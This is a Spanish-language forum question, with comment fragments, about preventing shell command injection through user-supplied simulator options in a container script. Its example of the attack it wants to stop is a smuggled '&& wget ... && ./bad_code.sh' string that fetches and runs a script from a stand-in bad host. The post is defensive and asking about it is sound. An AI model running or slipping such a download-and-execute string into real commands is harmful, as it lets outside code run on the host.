Tengo una aplicación de contenedor donde necesito permitir que el usuario especifique opciones personalizadas para pasar a un simulador. Sin embargo, quiero asegurarme de que el usuario no inyecte otros comandos a través de las opciones del usuario. ¿Cuál es la mejor manera de lograr esto?
Por ejemplo.
- El usuario proporciona:
-a -b
- La aplicación se ejecuta:
mysim --preset_opt -a -b
Sin embargo, no quiero que esto suceda:
- El usuario proporciona:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- La aplicación se ejecuta:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
Actualmente, estoy pensando que podría simplemente rodear cada opción proporcionada por el usuario con comillas simples '
y eliminar cualquier comilla simple proporcionada por el usuario, para que el comando en el último ejemplo resulte ser inofensivo:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
Nota: El mysim
comando se ejecuta como parte de un script de shell en un contenedor docker / lxc. Estoy ejecutando Ubuntu.
eval
. Estoy llamando al ejecutable mysim
dentro de un script de shell. Estoy viendo que la inyección ocurre si simplemente copio la cadena de opciones que proporciona el usuario y la pego al final del mysim
comando.
-a -b
. Así que estoy buscando asegurarme de que no se inyecten comandos adicionales en esa cadena.
[a-zA-Z0-9 _-]
parezca una opción bastante defensiva.
eval
para ejecutar la aplicación? Si no es así, la inyección no debería ocurrir:x="&& echo Doomed" ; echo $x